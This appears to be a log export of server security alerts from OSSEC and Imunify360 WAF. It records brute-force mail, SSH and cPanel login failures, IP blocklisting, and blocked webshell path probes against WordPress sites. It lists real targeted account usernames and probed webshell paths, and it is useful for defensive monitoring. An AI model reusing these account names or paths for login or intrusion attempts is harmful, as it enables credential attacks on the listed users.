# incident

plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.224.62.206
country_id: 2464461
description:
Feb  7 16:18:47 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.224.62.206 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.230.252.103
country_id: 1814991
description:
Feb  7 16:19:03 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.230.252.103 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.249.1.112
country_id: 1814991
description:
Feb  7 16:19:06 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.249.1.112 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.249.1.112
country_id: 1814991
description:
2025-02-07 16:19:08 dovecot_plain authenticator failed for ([183.249.1.112]) [183.249.1.112]:35256: 535 Incorrect authentication data (set_id=ads21b00230y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.239.41.74
country_id: 3469034
description:
Feb  7 16:19:17 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.239.41.74 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.237.100.136
country_id: 1821275
description:
Feb  7 16:18:37 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.237.100.136 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.242.86.203
country_id: 1814991
description:
2025-02-07 16:18:36 dovecot_plain authenticator failed for ([58.242.86.203]) [58.242.86.203]:59200: 535 Incorrect authentication data (set_id=office)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.237.100.136
country_id: 1821275
description:
2025-02-07 16:18:39 dovecot_plain authenticator failed for ([103.237.100.136]) [103.237.100.136]:40568: 535 Incorrect authentication data (set_id=eng22a00061y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.239.41.74
country_id: 3469034
description:
2025-02-07 16:19:19 dovecot_plain authenticator failed for (201-28-33-49.customer.tdatabrasil.net.br) [186.239.41.74]:40881: 535 Incorrect authentication data (set_id=stquarshie)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.214.94.76
country_id: 6252001
description:
2025-02-07 16:19:21 dovecot_login authenticator failed for (ADMIN) [181.214.94.76]:41828: 535 Incorrect authentication data (set_id=info@aitsmartschool.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.56.252.11
country_id: 2963597
description:
Feb  7 16:19:35 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.56.252.11 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.86.2.18
country_id: 1269750
description:
2025-02-07 16:19:37 dovecot_plain authenticator failed for (host103-86-2-18.airwir.com) [103.86.2.18]:35051: 535 Incorrect authentication data (set_id=abs1@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.126.114.239
country_id: 1880251
description:
2025-02-07 16:20:21 dovecot_plain authenticator failed for 239.114.126.34.bc.googleusercontent.com [34.126.114.239]:36792: 535 Incorrect authentication data (set_id=eng18b00179y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.86.2.18
country_id: 1269750
description:
Feb  7 16:19:35 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.86.2.18 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.31.13.120
country_id: 290557
description:
Feb  7 16:19:53 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.31.13.120 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 211.108.234.111
country_id: 1835841
description:
Feb  7 16:20:11 ait sshd[1891790]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=211.108.234.111  user=root


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.56.252.11
country_id: 2963597
description:
2025-02-07 16:19:37 dovecot_login authenticator failed for (ADMIN) [193.56.252.11]:54586: 535 Incorrect authentication data (set_id=ait@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.31.13.120
country_id: 290557
description:
2025-02-07 16:19:55 dovecot_plain authenticator failed for ([5.31.13.120]) [5.31.13.120]:54741: 535 Incorrect authentication data (set_id=abs1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.177.96.5
country_id: 1814991
description:
2025-02-07 16:20:07 dovecot_plain authenticator failed for ([117.177.96.5]) [117.177.96.5]:45463: 535 Incorrect authentication data (set_id=eng18b00179y@ait.edu.gh)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.108.234.111
country_id: 1835841
description:
Feb  7 16:20:11 ait sshd[1891790]: pam_imunify(sshd:auth): [IM360_RBL] The IP 211.108.234.111 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.115.68.16
country_id: 3469034
description:
[2025-02-07 16:20:10 +0100] info [webmaild] 177.115.68.16 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.115.93.183
country_id: 3469034
description:
Feb  7 16:19:25 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.115.93.183 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 189.115.93.183
country_id: 3469034
description:
2025-02-07 16:19:27 dovecot_plain authenticator failed for (corporativo.gvt.net.br) [189.115.93.183]:60807: 535 Incorrect authentication data (set_id=ads21b00230y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 34.126.114.239
country_id: 1880251
description:
Feb  7 16:20:19 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 34.126.114.239 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.212.178
country_id: 732800
description:
Feb  7 16:20:53 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.212.178 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.160.17.165
country_id: 1269750
description:
Feb  7 16:20:56 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.160.17.165 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.17.165
country_id: 1269750
description:
2025-02-07 16:20:58 dovecot_plain authenticator failed for (abts-north-static-165.17.160.122.airtelbroadband.in) [122.160.17.165]:43830: 535 Incorrect authentication data (set_id=ug21m1150009@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.48.39.18
country_id: 2510769
description:
2025-02-07 16:21:06 dovecot_plain authenticator failed for 18.red-83-48-39.staticip.rima-tde.net [83.48.39.18]:23304: 535 Incorrect authentication data (set_id=ug21m1150009)


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 47.128.62.27
country_id: 1880251
description:
47.128.62.27 - - [07/Feb/2025:16:20:29 +0100] "GET /wp-content/plugins/elementor-pro/assets/css/frontend-lite.min.css?ver=3.23.3 HTTP/2.0" 200 1498 ait.edu.gh "https://ait.edu.gh/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=8287515" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" WL:"0" "-" XFF:"-" CAPTCHA:"1" PEER:47.128.62.27


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.61.8.150
country_id: 3595528
description:
Feb  7 16:20:38 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.61.8.150 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.61.8.150
country_id: 3595528
description:
2025-02-07 16:20:40 dovecot_login authenticator failed for ([190.61.8.150]) [190.61.8.150]:53207: 535 Incorrect authentication data (set_id=dm@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.255.212.178
country_id: 732800
description:
2025-02-07 16:20:55 dovecot_login authenticator failed for ([185.255.212.178]) [185.255.212.178]:7713: 535 Incorrect authentication data (set_id=dm)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.48.39.18
country_id: 2510769
description:
Feb  7 16:21:04 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 83.48.39.18 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.123.40.94
country_id: 1269750
description:
Feb  7 16:22:11 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.123.40.94 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.201.62.71
country_id: 1814991
description:
Feb  7 16:21:48 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.201.62.71 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.201.62.71
country_id: 1814991
description:
2025-02-07 16:21:50 dovecot_login authenticator failed for ([218.201.62.71]) [218.201.62.71]:39570: 535 Incorrect authentication data (set_id=oudoc@ait.edu.gh)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.162.214.145
country_id: 1668284
description:
Feb  7 16:21:59 ait sshd[1892548]: pam_imunify(sshd:auth): [IM360_RBL] The IP 1.162.214.145 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.114.97.10
country_id: 1814991
description:
2025-02-07 16:22:01 dovecot_plain authenticator failed for ([116.114.97.10]) [116.114.97.10]:59087: 535 Incorrect authentication data (set_id=rnunator@ait.edu.gh)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 142.44.241.82
country_id: 6251999
domain: iric.us
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:wwwadmin||WPU:wwwadmin||RSV:6.65||T:APACHE||MV:16-22.142.44.241.82


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.123.40.94
country_id: 1269750
description:
2025-02-07 16:22:13 dovecot_plain authenticator failed for (124.123.40.94.actcorp.in) [124.123.40.94]:16244: 535 Incorrect authentication data (set_id=rnunator)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 45.148.127.58
country_id: 2017370
domain: ait.edu.gh
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:ads32b11317y@ait.edu.gh||WPU:ads32b11317y@ait.edu.gh||RSV:6.65||T:APACHE||MV:16-21.45.148.127.58


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.114.97.10
country_id: 1814991
description:
Feb  7 16:21:59 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.114.97.10 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 1.162.214.145
country_id: 1668284
description:
Feb  7 16:21:59 ait sshd[1892548]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=1.162.214.145


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.71.58.159
country_id: 3865483
description:
Feb  7 16:22:12 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.71.58.159 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.71.58.159
country_id: 3865483
description:
2025-02-07 16:22:14 dovecot_login authenticator failed for ([45.71.58.159]) [45.71.58.159]:40746: 535 Incorrect authentication data (set_id=oudoc)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.43.232.65
country_id: 2017370
description:
2025-02-07 16:22:48 dovecot_plain authenticator failed for (DGV-gw.transtelecom.net) [188.43.232.65]:60132: 535 Incorrect authentication data (set_id=masomani@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.104.166.110
country_id: 1835841
description:
Feb  7 16:23:06 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.104.166.110 has been locked due to Imunify RBL


plugin: modsec
rule: 77316861
name: IM360 WAF: Block IP which is in the infectors RBL
abuser: 108.165.243.85
country_id: 6252001
domain: goudirect.com
description:
IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:16-22.108.165.243.85||RSV:6.65||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.141.211.58
country_id: 3469034
description:
Feb  7 16:23:00 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.141.211.58 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 108.165.243.68
country_id: 6252001
domain: goudirect.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:6.65||T:APACHE||MV:/wp-admin/images/index.php||SC:/home/goudirect006/public_html/wp-admin


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.123.219.137
country_id: 1835841
description:
2025-02-07 16:23:12 dovecot_plain authenticator failed for ([203.123.219.137]) [203.123.219.137]:52778: 535 Incorrect authentication data (set_id=ads21b00220y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.123.219.137
country_id: 1835841
description:
Feb  7 16:23:10 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.123.219.137 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 131.221.133.6
country_id: 3469034
description:
2025-02-07 16:22:55 dovecot_plain authenticator failed for 6-133-221-131.dynamic.v1telecom.com.br [131.221.133.6]:43400: 535 Incorrect authentication data (set_id=abs18b00066y@ait.edu.gh)


plugin: modsec
rule: 77316861
name: IM360 WAF: Block IP which is in the infectors RBL
abuser: 108.165.243.68
country_id: 6252001
domain: goudirect.com
description:
IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:16-23.108.165.243.68||RSV:6.65||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.141.211.58
country_id: 3469034
description:
2025-02-07 16:23:02 dovecot_plain authenticator failed for (200-141-211-58.host.telemar.net.br) [200.141.211.58]:41854: 535 Incorrect authentication data (set_id=masomani)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.104.166.110
country_id: 1835841
description:
2025-02-07 16:23:08 dovecot_plain authenticator failed for ([211.104.166.110]) [211.104.166.110]:58524: 535 Incorrect authentication data (set_id=abs18b00066y)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 108.165.243.85
country_id: 6252001
domain: goudirect.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:6.65||T:APACHE||MV:/wp-includes/images/about.php||SC:/home/goudirect006/public_html/wp-includes


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.43.232.65
country_id: 2017370
description:
Feb  7 16:22:46 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.43.232.65 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 131.221.133.6
country_id: 3469034
description:
Feb  7 16:22:53 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 131.221.133.6 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.169.212.206
country_id: 1835841
description:
2025-02-07 16:23:34 dovecot_plain authenticator failed for ([211.53.58.1]) [211.169.212.206]:51375: 535 Incorrect authentication data (set_id=ads18b00134y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 166.195.196.241
country_id: 6252001
description:
2025-02-07 16:23:36 dovecot_plain authenticator failed for (mobile-166-195-196-241.mycingular.net) [166.195.196.241]:41825: 535 Incorrect authentication data (set_id=jpomador@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.206.105.126
country_id: 1835841
description:
Feb  7 16:23:25 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.206.105.126 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.216.84.18
country_id: 895949
description:
2025-02-07 16:23:27 dovecot_login authenticator failed for ([41.216.84.18]) [41.216.84.18]:48838: 535 Incorrect authentication data (set_id=oudoc@ait.edu.gh)


plugin: modsec
rule: 77316861
name: IM360 WAF: Block IP which is in the infectors RBL
abuser: 108.165.243.71
country_id: 6252001
domain: goudirect.com
description:
IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:16-23.108.165.243.71||RSV:6.65||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.195.67.82
country_id: 3469034
description:
2025-02-07 16:23:48 dovecot_plain authenticator failed for ([200.195.67.82]) [200.195.67.82]:39876: 535 Incorrect authentication data (set_id=ads18b00134y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.12
country_id: 1269750
description:
2025-02-07 16:24:17 dovecot_plain authenticator failed for (nsg-corporate-12.229.187.122.airtel.in) [122.187.229.12]:37427: 535 Incorrect authentication data (set_id=ads21b00152y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.206.105.126
country_id: 1835841
description:
2025-02-07 16:23:27 dovecot_plain authenticator failed for ([175.206.105.126]) [175.206.105.126]:45164: 535 Incorrect authentication data (set_id=ads21b00220y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 166.195.196.241
country_id: 6252001
description:
Feb  7 16:23:34 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 166.195.196.241 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 76.176.207.24
country_id: 6252001
description:
Feb  7 16:24:21 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 76.176.207.24 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.176.207.24
country_id: 6252001
description:
2025-02-07 16:24:23 dovecot_plain authenticator failed for syn-076-176-207-024.res.spectrum.com [76.176.207.24]:51915: 535 Incorrect authentication data (set_id=eng19b00159y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.116.158.238
country_id: 1814991
description:
2025-02-07 16:23:42 dovecot_plain authenticator failed for ([123.116.158.238]) [123.116.158.238]:36362: 535 Incorrect authentication data (set_id=ads21b00230y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.189
country_id: 1814991
description:
2025-02-07 16:23:39 dovecot_login authenticator failed for ([111.61.177.189]) [111.61.177.189]:44410: 535 Incorrect authentication data (set_id=oudoc)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.169.212.206
country_id: 1835841
description:
Feb  7 16:23:32 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.169.212.206 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.203.77.30
country_id: 6252001
description:
2025-02-07 16:23:59 dovecot_plain authenticator failed for ([50.203.77.30]) [50.203.77.30]:54070: 535 Incorrect authentication data (set_id=ads21b00152y@ait.edu.gh)


plugin: modsec
rule: 77316861
name: IM360 WAF: Block IP which is in the infectors RBL
abuser: 108.165.243.81
country_id: 6252001
domain: goudirect.com
description:
IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:16-23.108.165.243.81||RSV:6.65||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.185.30.170
country_id: 1814991
description:
Feb  7 16:23:54 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.185.30.170 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.84.18
country_id: 895949
description:
Feb  7 16:23:25 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.84.18 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.195.67.82
country_id: 3469034
description:
Feb  7 16:23:46 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.195.67.82 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 108.165.243.81
country_id: 6252001
domain: goudirect.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:6.65||T:APACHE||MV:/wp-includes/images/wp-login.php||SC:/home/goudirect006/public_html/wp-includes


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.70.32.49
country_id: 1668284
description:
Feb  7 16:23:49 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.70.32.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.32.49
country_id: 1668284
description:
2025-02-07 16:23:51 dovecot_plain authenticator failed for 111-70-32-49.emome-ip.hinet.net [111.70.32.49]:57120: 535 Incorrect authentication data (set_id=jpomador)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.185.30.170
country_id: 1814991
description:
2025-02-07 16:23:56 dovecot_plain authenticator failed for ([61.185.30.170]) [61.185.30.170]:50051: 535 Incorrect authentication data (set_id=ads21b00230y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.203.77.30
country_id: 6252001
description:
Feb  7 16:23:57 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.203.77.30 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.61.177.189
country_id: 1814991
description:
Feb  7 16:23:37 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.61.177.189 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 123.116.158.238
country_id: 1814991
description:
Feb  7 16:23:40 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 123.116.158.238 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.229.12
country_id: 1269750
description:
Feb  7 16:24:15 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.229.12 has been locked due to Imunify RBL


plugin: modsec
rule: 77316761
name: IM360 WAF: Block interaction with malicious plugin
abuser: 108.165.243.65
country_id: 6252001
domain: goudirect.com
description:
IM360 WAF: Block interaction with malicious plugin||RSV:6.65||T:APACHE||SC:/home/goudirect006/public_html/wp-content||REQUEST_URI:/wp-content/plugins/ubh/up.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 108.165.243.71
country_id: 6252001
domain: goudirect.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:6.65||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home/goudirect006/public_html/wp-admin


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.208.136.225
country_id: 2661886
description:
2025-02-07 16:25:00 dovecot_login authenticator failed for 31-208-136-225.cust.bredband2.com [31.208.136.225]:45346: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.55.88.152
country_id: 294640
description:
Feb  7 16:25:14 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.55.88.152 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.41.171
country_id: 1819730
description:
2025-02-07 16:24:43 dovecot_login authenticator failed for 171.41.246.220.static.netvigator.com [220.246.41.171]:58543: 535 Incorrect authentication data (set_id=info@aitsmartschool.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.130.181.74
country_id: 1210997
description:
2025-02-07 16:25:24 dovecot_login authenticator failed for ([103.65.227.71]) [114.130.181.74]:36316: 535 Incorrect authentication data (set_id=oudoc@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.30.161.197
country_id: 690791
description:
2025-02-07 16:24:26 dovecot_plain authenticator failed for (diceinking) [46.30.161.197]:41538: 535 Incorrect authentication data (set_id=tsagli@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.55.85.202
country_id: 337996
description:
2025-02-07 16:24:31 dovecot_plain authenticator failed for ([196.191.212.226]) [213.55.85.202]:3059: 535 Incorrect authentication data (set_id=eng19b00159y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.115.168.106
country_id: 1814991
description:
2025-02-07 16:24:50 dovecot_plain authenticator failed for ([124.115.168.106]) [124.115.168.106]:47639: 535 Incorrect authentication data (set_id=eng22a00061y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.46.148.53
country_id: 1605651
description:
2025-02-07 16:25:00 dovecot_plain authenticator failed for 119-46-148-53.static.asianet.co.th [119.46.148.53]:35281: 535 Incorrect authentication data (set_id=eng20a00052y)


plugin: modsec
rule: 77316861
name: IM360 WAF: Block IP which is in the infectors RBL
abuser: 185.219.84.241
country_id: 2921044
domain: gvu.titopen.us
description:
IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:16-24.185.219.84.241||RSV:6.65||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 162.215.195.65
country_id: 6252001
description:
Feb  7 16:24:44 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 162.215.195.65 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.208.136.225
country_id: 2661886
description:
Feb  7 16:24:59 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.208.136.225 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 191.59.192.17
country_id: 3469034
description:
2025-02-07 16:25:03 dovecot_plain authenticator failed for ([191.59.192.17]) [191.59.192.17]:51760: 535 Incorrect authentication data (set_id=info@elmisa.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.70.9.114
country_id: 1814991
description:
2025-02-07 16:24:37 dovecot_plain authenticator failed for ([218.70.9.114]) [218.70.9.114]:58069: 535 Incorrect authentication data (set_id=eng22a00061y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 162.215.195.65
country_id: 6252001
description:
2025-02-07 16:24:46 dovecot_plain authenticator failed for (162-215-195-65.unifiedlayer.com) [162.215.195.65]:64819: 535 Incorrect authentication data (set_id=eng20a00052y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.46.148.53
country_id: 1605651
description:
Feb  7 16:24:59 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.46.148.53 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.59.192.17
country_id: 3469034
description:
Feb  7 16:25:01 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.59.192.17 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.47.20.229
country_id: 1861060
description:
2025-02-07 16:25:18 dovecot_login authenticator failed for (fp5cca5266.gifg408.ap.nuro.jp) [154.47.20.229]:64092: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.30.161.197
country_id: 690791
description:
Feb  7 16:24:24 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.30.161.197 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.123.172.7
country_id: 1269750
description:
